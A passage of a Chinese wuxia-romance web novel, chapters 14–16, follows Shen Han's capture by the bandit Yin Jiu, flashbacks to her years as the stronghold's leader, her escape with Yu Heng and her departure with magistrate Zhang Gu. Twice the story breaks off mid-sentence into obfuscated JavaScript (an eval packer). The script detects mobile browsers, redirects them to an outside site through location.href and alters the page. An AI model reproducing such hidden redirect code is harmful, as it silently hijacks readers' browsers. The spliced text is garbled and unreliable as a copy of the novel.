“谁是你师妹?”沈寒不屑地上下打量郑清商,匪子嘴脸暴露无遗,“最烦你这种名门淑女,看着恶心。” 郁云笙怒道:“水鬼你别不知好歹!” “再叫拖着你一起过去!”沈寒声音骤然提高,喝斥得郁云笙眨了眨眼,竟然真的让她闭嘴了。 其他夷山弟子议论纷纷,连素来古板的三师父岳震也唤她回来。 沈寒觉得吵闹,故作轻快朝匪子走了过去。 走到火墙前时,她已经心如止水,却不知为何鬼使神差回头看了一眼。 郁珩神色凝重,嘴唇一开一合,仿佛在对她说什么。 不——要—— 她能感到郁珩此刻的不同,那张俊美的面孔下仿佛压抑着极大的愤怒和不甘。可她来不及多想,也不打算多想。 临走还要听你的,想都别想。 遂众目睽睽之下,沈寒对着郁珩抛了个不标准的媚眼,飞身越过火墙。 殷九和乌黑阴寒的无赦就在对面等着她,就像她窜逃而出的那个雪夜,等她自投罗网。 沈寒平静地走了过去,刹那间,她的手被拉住。 这是她第一次触碰郁珩的手,不知为何,触感并不陌生。 她侧首,对上郁珩严峻的目光,心里准备好一箩筐讥讽的话都说不出了。 她没想到郁珩会孤身到火墙后,匪子的刀逼在他身前,他却视而不见。 这是那个缜密的郁珩吗? 突然之间,沈寒参悟了郁珩曾说过的那句话。他说:“有你下山的时候,别急。” 原来郁珩也没想过留住自己,既然如此,他何苦做这般功夫?为了成全夷山少侠扶贫惜弱的美名吗? 沈寒恍惚片刻,只觉得可笑,一把甩开了郁珩的手。 “郁珩,你记住,是你逼我走的。” 郁珩脸上难得出现了慌张,沈寒撕破了他圣人的假面,她甚是欣喜。 沈寒上了殷九的马,夷山的风光飞速掠过。 她知道,这是郁珩为她选的死路。 她偏不要死。她沈寒一定要活得比谁都久。 14. 不归 马蹄声迅疾,枯槁的草木飞速掠过眼前。不归寨的匪徒收兵,雄赳赳气昂昂奔走在荒野林间。 越是前行,路越熟悉。沈寒知道,前面便是不归寨了。 她被殷九困在马前,殷九的下颌就在自己的额角上。她能感受到殷九身上炽热的体温,还有他因打了胜仗狂喜引起的剧烈喘息。 沈寒微微抬头,能看到他的下巴尖尖。他是个皮相顶好的人,若说品性,只是坏,却也算不上十恶不赦。这样的人聪明油滑,是天生做山匪的料。 可她沈寒不是。 她不属于任何人,也不属于任何地方。她没有归属,也没有同伴,是一个在世间游荡的孤魂野鬼。 沈寒抓住殷九松懈的刹那,奋身一挣,喉间立即浮上一线冰凉。 殷九一手握着马缰,另一手用无赦抵着沈寒的喉咙,“想跑?知道你力气大,你要想清楚,是刀快还是你快。” 说话间,唇畔喷出些白雾,让沈寒觉得双眼迷茫。 队伍行得极快,马背上颠得厉害,稍有擅动就会被抹了脖子。沈寒苦笑道:“我不会再回到不归,你已是寨主,又何必抓我?” 殷九笃定道:“你是睚眦必报的人,这一点,你我都清楚。你不死,我寝食难安。” 他的眼睛没有其他匪徒浑浑噩噩的混沌,倒是十分清明,映着山川水色。良久,殷九不知道想到了什么,轻声念了一句。 沈寒没有听清,胡乱应一声,这一次,殷九难得耐心重复了。 “风雪太急,一个女子何苦在外面。” 他的嗓音压得很低,几乎被马蹄声踏碎。这近乎叹息的一句话,是殷九对沈寒说的第一句话。 那一年是昌和十三年,江浙驿道上本该挤满了南下的人。这些人早嗅到了时局风声,拖家带口尽量南迁。可听闻这道上有匪,抢了许多过路人,凶残异常,因此,好端端一条宽敞大路,竟无人敢走。 雪地里,殷九和刁顺子身上已经冻僵了。 刁顺子颤颤巍巍掏出块馍,问殷九,“九哥,吃不吃?” 他一说话,肩膀耸动,雪沫子纷纷落下。 殷九斜睨了一眼,道:“不吃。” “咱非得在这等吗?” “官道无人敢走,再这样下去迟早要遇上兵。你想遇上兵吗?” 刁顺子连忙摇头,又抖落一身雪沫。 他们就趴伏在雪地里,已经趴了一个时辰,中途下了雪,两个人冻得和雪地融为一体,却依旧没有等到路人。 刁顺子等烦了,一边吃馍一边说:“要我说,叫几个弟兄来蹲,咱回去烤火。大当家那么喜欢你,你何苦自己在这守。” “你懂什么,半个月不开张,大当家迟早废了我。” 刁顺子叹了口气,望着白茫茫的雪地,哀声道:“世道难啊!听说了吗?起义军被灭了,领头的那个被杀了。那厮还认识咱们大当家,叫……叫什么来着?” 殷九有些不耐烦,还是答道:“陈午!” “对对对,陈午!还好大当家没搭理他,不然咱这一寨子千口人命,全都得死!” “哼。”殷九悻悻道:“以后有的乱呢!瞧着吧,灭了起义军,朝廷没钱,还联狄灭戎呢?灭个屁!” 刁顺子道:“那咋办?” 问了半天,殷九没有作声,刁顺子不明所以,晃晃殷九的胳膊,发现他目光直盯着前面。顺着殷九的视线望去,雪地里站着一大一小两个人。 大的肥头大耳,是个挺富态的男子,小的个头高挑,十二三岁的年纪,是个漂亮的小姑娘。 他们似乎起了争执,小姑娘在前面抱着胳膊生闷气,男子跟在后面呲牙咧嘴骂个不停。这寒冬腊月的,二人走在雪地里,没有包袱,空荡的往前行,也是稀奇。 他们穿得破破烂烂,一看也没多少钱。 本来殷九是不打算搭理二人的,谁知这二人吵起来,那男子离他设的陷阱越来越近。 殷九几乎要跳出来了,还没来得及阻止,一声绳子发出轻微响声,树干上的雪簌簌落下,两个人一齐被吊了起来,困在网子里。 “抓住了!”刁顺子大喜,脱口而出。 殷九没好气地给了刁顺子头皮一巴掌,“乐什么?娘的,两个穷鬼!” 殷九气冲冲走上前,朝吊在天上的网子一看。那男子还在呲牙咧嘴大呼小叫的骂,姑娘倒是镇定的很,脸上充满了对男子的嫌弃。 不过,这姑娘倒是漂亮,带回去发卖了也能赚点钱。 网兜挡着,看不清楚,于是殷九拔出无赦劈断了绳索,那两个人立即栽了下来。殷九生性风流,尽管已经断了这小姑娘的生死,还是下意识伸手去接。 就这么不偏不倚,殷九抱住了她的小腿,姑娘怕摔,揪着自己肩头的衣服不放。 雪屑簌簌而下,仿若一场新雪。 殷九这才看清姑娘的面容。 她有一张苍白的脸,和一双空洞的美眸。整张脸精致得惊人,比江湖女侠娇艳,比世家淑女妩媚,纵使殷九见过无数漂亮姑娘,这个姑娘仍然是最特别的。尤其是她那双眼睛,看不出她的心思,像是女鬼一般的阴沉。煞白的面容下,嘴唇毫无血色,攀着殷九的手腕露出一块新鲜的伤疤,似是刚被火燎过。 这是殷九和沈寒的第一次见面,殷九不至于被美貌折服,却沉沦在她女鬼一样的双眼里。 他顿了顿,才将沈寒扔到地上,道:“风雪太急,一个女子何苦在外面。” 刁顺探头看了一眼,也连称:“这女鬼好生美貌!” 殷九将沈寒带回了寨里。 为了方便劫掠南下的富户,不归寨临时迁到江浙驿道附近的深山中。一同关押的还有几个被绑来的百姓。 大当家人称山魈,时常放纵匪子折磨殴打这些人取乐。殷九经常听到惨叫声不绝于耳,路过关押他们的地方,也会看到沈寒浑身是血坐在角落。 可她一声没吭,鞭子抽在身上也不叫喊,只有那双黝黑的眼睛审视着折磨她的每一个人。倒是和她一同被抓来的男子,每天都嚎个不停。 一日深夜,殷九和刁顺子在匪寨的暗道归来,身上还冒着寒气。 提灯照亮了暗道的前路,本该只有他们二人知道的暗道多了些陌生的声音。 殷九警觉,提着无赦默默向前逼近,一把便将躲在黑暗中的人擒了过来。 刁顺子提灯一照,竟是沈寒。 她逃出来了,甚至找到了这个暗道。 更让殷九觉得后怕的是,这条暗道是他和刁顺子的秘密,他们二人借此暗道变卖山魈的财宝,以此敛财。 刁顺子当即脱口而出,“九哥,杀了她!” 沈寒却一把将殷九的手扭开。殷九没想到一个小丫头能有这么大的力气,他感到手臂传来剧痛,手里的刀不稳,无赦落地,反被她一脚踢起夺了过来,直指殷九。 刁顺子持刀相逼,三个人无声对峙着,只是沈寒更有破釜沉舟的气势。 殷九打破了对峙,“你想跑?你爹呢,不要了?” “那不是我爹。”沈寒的声音像雪中冰刃,“他的生死与我无关。” “那你呢?你以为你能跑出这个寨子?就算你出了山寨,山道之中有我们的人巡逻,一旦你被捉回来,山魈定会让你生不如死。” 沈寒剧烈喘息着,火光烤着她惊为天人的面容。她还很稚嫩,没有长开,不敢想象长大后她该是何等倾城。 殷九缓了缓口,“不如,我想办法带你出去。你走了就不准回来,不准和任何人提起过我,不准提起不归寨。如果你敢报官,天涯海角我们也能抓到你。” 沈寒宛如惊弓之鸟,手里的镰刀握得更紧了。“我不相信你。” “只要你走了,你就不会再见到我们。”殷九缓缓举起双手,“寨子马上要南下去望仙,你不会见到我们的。” 谁知那姑娘听到后神色大变,目光凌厉几分,“你们要去望仙?” “怎么,那是你家?” “不是。” 她否认得很果断,殷九反倒断定她一定是望仙人。 沈寒抬眸,那一刹那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈寒已经来到不归寨两年。可当年殷九承诺的回到望仙,不归寨迟迟没有兑现。 沈寒明显有些焦躁了,她开始屡次提议不归寨迁寨,山魈却盯上了秀州。 秀州城外有一座古刹,名为澄觉寺。寺中香火正盛,听闻每个僧侣的袈裟都是金线缝制的,若能将澄觉寺抢了,钱足以养活不归寨三年。 只是抢寺庙这事,多少有些缺德,寨中反响平平,连殷九都不愿下手。唯独沈寒站了出来,自愿请命前去。 春风正暖,万里无云。 澄觉寺前梨花如雪,地上却满是鲜红。殷九刚刚走入宝刹,冲天的血气几乎将他吞噬。 地上都是僧侣、官兵以及匪徒交叠的尸体,他一步步走进寺庙深处,心里只有恐惧。 他是领命而来,山魈忌惮沈寒这个妖女,而沈寒在寨中颇具威望。他知道抢过澄觉寺,沈寒不可能全身而退,殷九只需要此刻浑水摸鱼,给沈寒致命一刀。 地上的血流淌成河,每一步都粘腻非常。殷九心跳越来越快,想到自己要做什么,握着无赦的手便忍不住颤抖。 大雄宝殿中,佛像倾倒,惨叫声凄厉传来。 殷九走入殿内,看到一个浑身赤红的人,背影孤绝,孑然一身,手里的刀还在往下滴血。她应当是知道自己犯了大恶,不再考虑后路,一边剧烈喘息着,一边踢开脚旁的僧侣尸体。微微仰头,望着那尊硕大的佛像。 火顺着柱子一路烧了上去,灰烬纷飞,不知道是不是殷九的错觉,他好像看到那尊佛落泪了。而已经决心踏入地狱的沈寒,缓缓转身,双目空洞盯着殷九。她脸上的血还没有干,嘴唇颤抖着,竟勾起一抹惨烈恐怖的笑。 紧接着,沈寒手起刀落,身旁和她等身高的一尊佛像,竟被她一刀枭首。刀震碎后飞了出去,刀片直插在殷九的脚前,歪斜一点便刺伤他的腿。 断刀直指殷九的面孔,沈寒笑问他,“山魈让你杀我吧?” “沈寒……”殷九觉得心口一阵钝痛,他开始后悔自己在风雪天,捞了一个恶鬼回寨子。 “殷九,你想怎么选?”沈寒语气十分冷静,“选我,还是……去死?” 15. 回家 殷九做出了他的抉择。 山魈被最信任的手下背叛,他的尸体被扔在不知名的山沟里,无人问津,无人收殓。他化作了泥土,而踩过不归寨土壤的是冉冉升起的新寨主。 这一年初夏,蝉鸣正躁,不归寨举寨南下。 刚到望仙县时,望仙百姓正忙着祭祀河神。他们未曾察觉,一个游荡在外多年的孤魂野鬼,正以声势浩大的阵仗荣归故里。 过去的回忆在冬日冰冷的白雾中揉碎,殷九拖着沈寒,一步步走进不归寨。两侧的匪徒列队迎接寨主,目光炯然凝视这一切。 旧寨主与新寨主,穷凶极恶的女鬼和二度背叛旧主的山匪。甚至许多匪徒看到沈寒时,还会感到胆寒,怕沈寒卷土重来,将这些背叛了她的人都杀个干净。 沈寒下意识留心路过的每一张脸,确定没有找到一个肥头大耳的油腻中年男子后,心也微微落定。 殷九将沈寒扔进了一个屋子,沈寒感到陌生又熟悉,许久才发现,这曾是她作为寨主的居所。原本摆放了素瓶与香炉的地方,如今放着一虎皮交椅,旁设一兵器架。她曾经收集的琵琶也都被丢了个干净。 自己才被赶出不归寨不到一个月,殷九便着急将卧房的装潢换了个遍。她不禁感到有些可笑,勾了勾唇角。 这笑落在殷九眼中极为刺目,他一面将沈寒的双手双脚用铁锁铐住,一面冷声道:“笑什么?” “笑你品味奇差,好端端一个卧房,铺一张虎皮。不伦不类和山匪没什么区别。” “我本就是山匪。而你,做不成山匪,身上欠了太多血债,也走不了正道。” 这话倒是实话,戳中了沈寒的心窝。她虽依旧笑得不屑,唇角却浮上难以掩盖的苦意。 短短二十日,物非人也非,自己的卧房再无自己的痕迹,寨中匪徒看着自己再不似从前那般俯首帖耳。可回顾浑浑噩噩的三年,除了将那狗县令杀之而后快,她似乎孑然一身,什么也没得到。 匪徒薄情寡义,她也没那么想继续做山匪了,若是走正道,她已投身地狱,再无回头的可能。 她还是那个空无一物的沈寒。 殷九铐住她的双脚又铐双手,动作中透着股狠劲。沈寒能看得出,他心情非常不好,甚至比没捉回自己时更糟。 因为没能除掉自己吗?那为何不立刻动手? “佛珠去哪了?”殷九捏着沈寒空无一物的手腕骨,冷不丁开口。 沈寒怔了怔,自己纤细白净的手腕被他捏在手中微微发疼。 三年前,山魈的尸体被扔在山里。沈寒亲眼看着他死透,才肯带人回寨。 夜里回山的路不好走,一路颠簸已经筋疲力尽,到了黑漆漆的寨子口,有一盏灯候在前方。匪子们看到灯不由得长舒一口气,沈寒却面色一沉。 匪寨深夜不点灯,怕被官兵摸清位置,沈寒当即心中起了怒。她下马向前,看到笑盈盈候着他的殷九,呵斥道:“谁让你点灯的?你活腻了?还是想给山魈招魂?” 殷九丝毫不在意沈寒的臭脾气,两眼笑成条缝,沈寒能看得出,他是真的开心。“夜里山路黑,我等寨主回来。” 沈寒心头一暖,马上用怒色掩盖,“有什么好等的,滚回去。” “是。” 殷九替她牵马,寨门一层层打开,两侧的匪徒候在旁,目光里都是忠诚。 殷九突然道:“我有一礼献给寨主,算是您统领不归寨的贺礼。” 沈寒飞扬的眉头紧蹙,“我不需要礼物。” 殷九并未多言,默默掏出一串佛珠。并非名贵的材质,用深褐泛紫的老檀木制成,光润似玉。沈寒下意识接过,凑到鼻子前轻嗅,闻到了一股静谧的暗香。 她嘴角不由得上扬,“你送我这个是什么意思?” “好看,与你相配。你我相识两载,我未送你什么。这是当时澄觉寺门前一个小僧手上的,并未染血,我取下来给人仔细打磨……” 话未说完,殷九胸口挨了一脚,整个人飞了出去。他捂着胸口疼得呼不出气,心头的恼火无处发泄,可他抬眼看着沈寒,仍然因她惊心动魄的艳丽归于沉静。 沈寒冷声道:“我最恨佛子。这种东西,不准出现在我面前。” 殷九苦笑着颤颤巍巍爬起身,还没直起腰,却听到沈寒一声孤执的回应。 “下不为例。” 那串佛珠戴在她手腕上,古朴静谧,和她的气质很像。 如今她穿的是那所谓名门正派的白衣,手腕干干净净,仿佛把她不堪的过去全都抛下。那过去里,有殷九的痕迹。 殷九的恨意弥漫,抓着沈寒的手厉声质问,“我问你佛珠呢?” “早他妈扔了!”沈寒忍无可忍骂道。 殷九一把捏着沈寒的脸,这是他第一次如此近的触碰她。刚从外面回来,沈寒的脸还透着丝丝凉意,未施粉黛脸上却浮起粉红,朱唇饱满好看。殷九下意识手颤了颤,随即汹涌的满足感充斥着他。 “你以为你穿了这衣服你就是什么好人了?不可能!沈寒,你是恶人,你甩不掉你的过去,你也甩不掉我。你和我一样,我们就该在地狱里,就算被业火烧死,也是一起抱团去死!” 殷九说完,看着沈寒的唇,恶意弥漫,他突然想将手指塞进她的口中。里面一定是温暖的,潮湿的,她的小舌一定会拼命挣扎抵抗,这样恰好掉进了殷九玩味的陷阱。他可以借此机会侵入,和这个极恶之女,一步步沉沦。 心怦怦直跳,殷九骤然松手。 他不敢。 自己同她越近,她同自己越远。 殷九松开手,退了两步。他看着沈寒那双雪刃般凌厉的眼眸,最终放弃了。 “我们才是同类。”这一声有气无力,殷九已经缴械投降。 沈寒却不再看他,淡淡道:“无所谓。” 她清楚地知道,自己从没有同类,更不存在同伴。世人熙熙攘攘,结伴同行,唯独她没有自己的道,孤身一人还要继续摸索下去。 她做不了好人,也做不了恶人。没有仇恨做执念,她有些想死,却又舍不得后面未知的人间。如果就此下地狱,她也会觉得冤屈,凭什么有的人生来就可以光风霁月,有人却只能仰望。 殷九坐在了虎皮交椅上,二人互相不愿意看对方,恩怨情仇更是只字不提。 直到刁顺子气喘吁吁匆匆赶来,先是神色古怪地望了沈寒一眼,随手对殷九道:“大当家的,夷山打上来了!” “夷山?”殷九坐正身体,有些不相信。名门正派视他们匪寇为敌,怎么可能为了沈寒打上不归寨? “不止……还有……还有……” “还有什么!” “还有县衙的人!” 殷九闻言正色,提起无赦气势汹汹杀了出去。临走之前吩咐刁顺子留下看守沈寒。 殷九走了有一阵,整个屋子安静得尴尬。沈寒斜眼看着刁顺子,回忆起与这个男子的始末。 是了,就是这个老王八蛋,从一开始就看她不顺眼。 沈寒道:“你一直跟着殷九?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353314|199654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她一开口,刁顺子应激了似的,抱紧手里的刀,“你干什么?” 沈寒展示自己手上脚上的铁锁,“我都这样了,能把你怎么样?咱们也认识五年了,闲着也是闲着,找你唠唠。” “呸!” 刁顺子对着地怒喷一口,恶心得沈寒连连朝后蹭。 刁顺子道:“你这个蛊惑人心的妖女,你就该去死。” 这话沈寒听太多了,叹了口气,道:“然后呢?” “你十恶不赦,若不是你,山魈大当家就不会死。” “这么说你忠心于山魈?” “我忠心于不归寨!” 沈寒笑了声,“你忠心于山魈,又为殷九称臣,为何偏偏跳过我去?我不是不归寨的大当家?或者说,当年殷九同我联手杀了山魈,你难道没出力?” 刁顺子一时语塞,沈寒乘胜追击。 “你其实和那些名门正派没什么区别,只会为自己鸣不平,然后去指责与自己意见相悖的人。现在大祸临头,县衙和夷山派齐心攻来,你难道没想过,我只是一个饵?” 是了,沈寒若是能藏在夷山,何必献身自投罗网! 刁顺子双目泛红,道:“你这个妖女……” “骂我有意义吗?不如求求我,当年我在不归寨给自己留了一条后路。我给你指明,你同殷九借此路逃命,还能留一条性命。” “就算是县衙与夷山联手,也未必能胜!” 沈寒笑得十分轻蔑,讥讽道:“若无十足把握,我是不会来这里的。这是我的复仇,背叛我的人啊,你们全都要死。不归寨要死,县衙要死,夷山派也得死!” “你这个妖女!”刁顺子的声音破碎起来,他虽不知外面境况,却也相信沈寒所言为真。 沈寒说:“你和殷九帮过我,你现在扶我打开脚铐,我有一条暗道可以引你们离开。” 刁顺子还有些犹豫,沈寒亮出手腕,“我力气再大也挣不开铁链,你若不信我,便去和他们拼个鱼死网破罢!” 说完她背过身去,不再搭理刁顺子。 果然,刁顺子道:“行。你若敢有什么小动作,我马上杀了你。” “嗯哼。” 刁顺子半信半疑,打开了脚铐后扶着沈寒起身。只瞬间沈寒暴起,手上的铁链砸在他头上,勒住了他的脖子。 刁顺子翻了白眼昏倒过去,沈寒长舒一口气,想在他身上摸出解开双手的钥匙,却怎么也找不到。她不敢耗下去,两手被束缚,狼狈地朝外跑。 路上遇到几波赶往山前的山匪,她都躲了过去。她刻意避开了顺畅的山路,从寨子后跌跌撞撞跑走。 天色泛青,不见日光。地上铺着一层薄雪,碎叶残枝遍地。沈寒不顾一切往前跑,脚踝上都是细小的划痕。 枯林一眼望不到头,双方交战的声音传来,沈寒一刻也不敢停,更不敢回头看。 直到她看见,枯林的尽头出现了一抹身影。那一刻,无论是敌是友,沈寒由衷地笑了起来。 她弯下腰,汗水从额角滴落。 郁珩静静走向他,伸出手想拉她一把。 这个人总是这样,在她身逢绝境的时候披着光出现,一言不发,如冰似雪。 郁珩说:“走。” 沈寒脱口而出问道:“去哪?” 她看向郁珩的目光有些委屈,因为是他丢下自己的。是他步步为营,把自己当作算计的筹码。 郁珩不由分说牵起沈寒被禁锢的双手,一步步向前,“回家。” 16. 清歧 凛风似刀,霜雪杀人。 沈寒被郁珩拽着,一路踉踉跄跄向前跑。 枯枝划过衣角发出沙沙的声响,寒风刮得她面颊开裂似的疼。她感觉要被冻僵了,浑身上下唯一的暖意便是郁珩的掌心。即便她两手被锁住,她还是抓救命稻草那般,一齐攥着郁珩的手。 那手骨节分明,虽有常年持剑留下的一层薄茧,却并不刻薄刺人。若说是提笔写字的手,漂亮的指型也是配得的。 许是太冷了,冷得沈寒恍惚间,看着郁珩少年人挺拔的背影,刹那间回忆撕破而出,无数背影交织在一起。雷雨夜,火光中,风雪天……她人生一幕幕的不幸重合在一起,逼着沈寒痴痴望着眼前人。 他到底是谁? 沈寒不自觉屏住呼吸,不合时宜道了一句,“我是不是曾见过你?” 她叹出的白汽碎在了冰天雪地里。 郁珩身形僵了僵,继续向前,只留下句不近人情的话。“绝无可能。” 恰在此时,身后传来阵阵低沉的轰鸣,一股热浪驱散了寒意。沈寒和郁珩同时放慢了脚步,回头看去,藏在深山之中的不归寨燃起了熊熊烈火,整座寨子火光通明,烤化了大雪封死的山窝。 而沈寒那浑浑噩噩的三年,也随着这场大火燃烧殆尽了。 沈寒本以为自己会有大仇得报的快感,可她看着这场大火,再一次泄气了。她感到麻木,世上的悲欢离合迅速在眼前滑过,却一切都与她无关。 无意识的,她攥着郁珩的手紧了紧。 而郁珩也敏锐察觉到了她的反应。 满山挂着晶莹的雪,绵绵映出远方的烈火。郁珩长眸一凛,突然发难,“不归寨没了。” 沈寒不知道说什么好,只是攥着郁珩的手应和,“嗯,没了。” “殷九应当会死。夷山弟子不轻易杀人,却也会杀人。或许会死在剑下,又或许会被官兵生擒,以后在菜市口斩首示众,以平民愤。” “或许吧。”沈寒如是道,转而觉得郁珩的话有些怪。她心里百感交集,凭理智继续说:“不过你们也要当心,我了解殷九,也了解不归寨。狡兔三窟,这些人本就是刀口舔血过来的,他们没那么容易死。” 郁珩问,“你很了解他们吗?” 他心里无端酸溜溜的,出口的语气更是寒上加寒。 沈寒笃定道:“我很了解他们。” “你想让殷九死吗?” 沈寒登时心中警觉,倏得抬眼,恰好对上郁珩那一双锐利若鹰隼的双眸。 她心里漏了一拍,因为郁珩本就是个一板一眼的人,平日里冷脸罚人是很可怕的。此时他不但是冷脸,整个人凶得要吃人一般。什么如霜似雪的夷山少侠和他毫无关联,沈寒倒觉得他像个来向自己索命的。 沈寒不由得认真审视郁珩的发问,就像夫子考问她经论那般。 郁珩无非是借机看自己到底是不是真心向善,要知道人于危难之际最容易暴露本性。倘若她发了狠了说出打击报复之言,说不准郁珩大掌一推将她丢回火坑里。 于是沈寒诚恳地眨了眨眼,分外纯善道:“不希望。好歹也是一条人命。生杀取夺皆为天意,天意之下还有法度人情。如果一定要死,也是开堂审理后,由张大人定夺。” 郁珩怔了怔,挑眉玩味地望着眼前的姑娘。他倒是没想到,沈寒能扯出这么多大道理,还会搬出张固。 语气中的危险又添几分,郁珩道:“这是你心中所想?” 沈寒两手捧心,虔诚道:“夫子教诲,学生受益匪浅。” “学而不化,不如不学。”郁珩厉声喝道,吓得沈寒一个激灵。 他怎么比夫子还凶? 沈寒头脑懵懵的,眨了眨眼,反复检讨半天,仍觉得自己没有答错。 身后的火势愈烧愈烈,兵戈之声隐隐传来。 沈寒晃了晃,一脚踩进绵软的雪里,有几分为自己打抱不平的意思,“我怎么学而不化了?你们夷山自己宣扬与人为善。那殷九虽恶,也曾是个苦命人。若是一出生便是父母捧在手心的宝,谁还出来当匪子?” 郁珩盛怒,面上冰雪消融,剑眉飞扬,道:“优柔寡断,难以成事。你若想东山再起报复,便狠个彻底!” “我狠个彻底自己倒是爽了,可这不就和你们夷山济世救人的说法背道而驰了?” “传扬善念也要有手腕,不择手段是为极恶,亦可是纯善!菩萨心肠要有,阎罗心肠也要有!” 被郁珩突然吼了这么一通,沈寒也有些恼火。分明自己苦心孤诣想答案,就算不是最好的答案,她也没打算做最优的学生。岂能一句不如意就将她劈头盖脸训斥一顿? 况且,他说得哪门子混账道理? 她难以置信地望着郁珩,嘴角勾起抹恶毒的冷笑,“什么算狠?像你一样吗?设个套等我自己离开夷山。为了逼走我连你师弟师妹的性命都不顾。我是优柔寡断,可你泯灭人性!” 郁珩面上从来不会露出他全部的情绪,却也是气得脖子发红,肩头都在颤抖。即便如此,他面上脆弱的冷静还在维持着,“不归山匪为祸一方,夷山不归必有一战。若非张固毁约……” “做不到算无遗策就不要卖弄心机。” 沈寒一声下去,彻底将郁珩喝住。他如雪后闷雷,一言不发,唯独眼睛恶狠狠地瞪着沈寒。双手在袖子里紧攥,指节泛白。 沈寒才不怕他,他瞪自己便瞪回去。 两个人站在雪地里较起劲,一个是万年不化的顽冰,一个是气焰嚣张的野火。 张固坐在马车上,老远就看到这二人在雪地里吵嘴。明明本该十分登对的一对璧人,细看恨不得将对方撕成碎片。不知为何,张固看到这个画面心情有些畅快。 张固下马车,虽有龃龉还是道:“我来迟了!” 那雪地里发狠的二人异口同声向他厉声骂道:“你还知道来!” 张固不禁朝后踉跄两步,悄悄扶着马车稳住身体。 他定了定神,道:“既然约好了成事之后,河神归谁各凭本事。我是来带河神走的。” 话顺着寒风飘进沈寒耳中,如在沈寒的怒火上泼油。沈寒猛地瞪向郁珩,算是把之前对郁珩的指控坐实了。 郁珩敛下了怒气,向前长臂一展护住沈寒,目光阴寒望着张固,“你来迟了。” 不仅是现在来迟了,整件事都迟了。 张固含蓄地垂首赔笑,“庙堂之中身不由己,还请夷山少侠见谅。” “若是不呢?” 气氛逐渐剑拔弩张起来。狭隘的山道上,枯枝挂雪簌簌而落,张固虽脸上带笑,心里却是一点点沉下去。 他本以为自己要无功而返,没想到一直站在郁珩身后的沈寒走了出来。 她虽只穿了一件单薄的练功服,白衣飘飘规矩又工整,依旧能看出身段婀娜若仙子。一双娇艳的面容即便未施粉黛依旧明媚夺目。张固每一次见到沈寒,都忍不住屏息,看着这样一个蛇蝎美人堂而皇之地在规矩清明的世间苟且偷生。 沈寒径直走向了马车,“我跟你回去。” 张固温和笑道:“请姑娘上马车。” 沈寒能感到郁珩的目光一直都在刺自己的脊背,可她赌气不愿回首。 “沈寒。回来。” 直到身后响起这清正的一声,沈寒嘴角勾起心满意足的一个弧度。她翩然转身,看着郁珩脸上的平静彻底土崩瓦解,他是愤怒的,可那双深邃的眼里泄露出一丝无助。 沈寒只是转身而已,脚步没动。 郁珩难得屈尊降贵,又重复一遍。“沈寒。回来。” 长风掀起郁珩雪白的衣带,他站得寂寥又执着。 沈寒朝他抛了个俏皮的媚眼,没有再多说一言,撩起马车帘子气鼓鼓爬了进去。 张固见状心中大喜,仍维持着面上的恭敬,对郁珩深作揖后钻进马车。 马夫长呼,车轴吱呀,只留下两道雪痕。而站在雪地里的人,一直攥紧的手终是无力垂了下去。 这一天没有落雪,人的心中却积了厚厚一层的雪。 张固虽节俭,县令的马车自然也是极好的,车里还有暖炉。沈寒刚坐进去,浑身抖作一团,张固顺势把手炉递了过去。 沈寒没有接,反而是伸出手,示意张固开锁。 张固生有一双漂亮的凤眼,眉眼疏离淡漠,一张薄唇总是苦大仇深紧紧抿着。对于沈寒来说,这是一张标准的“犟种”面容,跟他说什么都油盐不进,不如梆梆两拳。 张固只是深深望了沈寒一眼,“我打不开。” “那便辛苦张大人想办法了。” “河神选择跟我走,不怕我斩了你?” 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356012|199654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寒深深闭了闭眼,耐心道:“张大人有心斩我,便不该亲自相迎。带着兵来岂不是更好?” 张固低笑两声,终是向她妥协,撩开车帘向马夫吩咐了声。 不一会,马车停下,车外立着个官兵,摊开手等着沈寒。沈寒将手腕递过,官兵鼓捣三两下,锁铐滚落在地上,她立刻觉得身心舒畅自由,活动了下手腕,接过张固的手炉。 “多谢张大人。” 张固笑盈盈望着她,并不再言语。 马车就这样一路顶着寒风进入了望仙城中。 匪乱之事迅速在城中传开,分明剿匪是为百姓谋福的好事,他们却不在乎外面打得如何天崩地裂,依旧过自己的生活。这些人便是这样,刀不落在自己的头上,便不会觉得痛。 沈寒勾着帘子,冷淡地扫视一个个路人,最后轻蔑地丢下帘子收回手。 张固道:“其实郁少侠无心害你。” “我知道。”沈寒说完,想起方才郁珩的神情。 她也没那么记仇,好歹也是大师兄,冒着危险来救自己,训两句也是关心则乱。或许因为郁珩那张脸实在是赏心悦目,此时此刻倒是觉得郁珩有些惹人怜惜了。 沈寒消气后,也想清楚了其中缘由。若是郁珩想让她走,何必多此一举出现在不归寨后山。此事能令县尉司这等缩头乌龟出动,说明郁珩与张固早有约定。既然如此,张固守约,夷山县衙里应外合,殷九才真是被逼入绝路。 沈寒狐疑地审视着张固。 张固并非凭空毁约的人。县尉司明明可以早点出兵夷山围剿殷九,为何当时不出现? 张固叹了口气,“你是不是想问我到底与郁珩约定了什么?” 沈寒道:“官府也会瞧得上江湖门派?” “能为百姓造福,江湖门派便也无妨。” 